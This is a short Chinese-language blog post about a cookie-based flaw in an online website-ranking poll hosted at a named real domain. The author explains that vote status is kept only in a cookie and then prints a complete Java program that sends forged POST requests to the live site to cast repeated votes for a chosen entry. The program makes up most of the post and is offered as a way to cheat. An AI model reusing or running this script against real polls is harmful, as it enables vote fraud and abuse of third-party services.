IT两会网站排名投票漏洞 
/** 作者: 慈勤强 Email :[email protected] Http://blog.csdn.net/cqq */ 
       刚才上某个网站,看到一条公告,说是IT两会正在举行一个大网站投票的活动, 
希望大家都去投他们一票。于是上去看了看,地址是:http://itlianghui.ccw.com.cn/, 
下面有个互联网风云榜,就在那里投票。
  
       不过,这个投票过于简单,很容易作弊。
  
       他们是简单的采用Cookie来存储状态的,如果投过票了,就把已经投票状态保存 
在Cookie中,当再次投票的时候,就从Cookie取值,具体为 Cookie: VOTEIT_Gray=1。 
       所以,知道了这些,我们就很容易作弊了,方法就很多了,比如,我们在IE浏览器 
工具-->Internet选项-->隐私 里面把设置调到最高,使Cookie 失效,这样的话,你每次 
投票就可以了。 或者,写个小程序也可以, 下面是我用Java写的,仅供参考。 
  
import java.io.*; import java.net.*; 
public class CCW {  public static void main(String args[])  { 
  try    {    String hostname = "itlianghui.ccw.com.cn";    int port = 80;        InetAddress addr = InetAddress.getByName(hostname);    Socket socket = new Socket(addr, port); //建立一个Socket         //发送命令    BufferedWriter wr = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), "UTF8")); 
   wr.write("POST /program/?m=Vote1&a=Voteit HTTP/1.1\r\n");    wr.write("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\r\n");    wr.write("Referer: http://itlianghui.ccw.com.cn/\r\n");    wr.write("Accept-Language: zh-cnv\r\n");    wr.write("Content-Type: application/x-www-form-urlencoded\r\n");    wr.write("Accept-Encoding: gzip, deflate\r\n");    wr.write("User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322)\r\n");    wr.write("Host:" + hostname + "\r\n");    wr.write("Content-Length: 37\r\n");    wr.write("Connection: Keep-Alive\r\n");    wr.write("Cache-Control: no-cache\r\n\r\n");    wr.write("NAME=Gray&OPTION%5B%5D=1066&x=22&y=18\r\n");    wr.write("\r\n");    wr.flush();        BufferedReader rd = new BufferedReader(new InputStreamReader(socket.getInputStream()));    String line;    line = rd.readLine();    wr.close();    rd.close();    socket.close();   }    catch (Exception e)    {    System.out.println(e.toString());    }  } }  
 
  |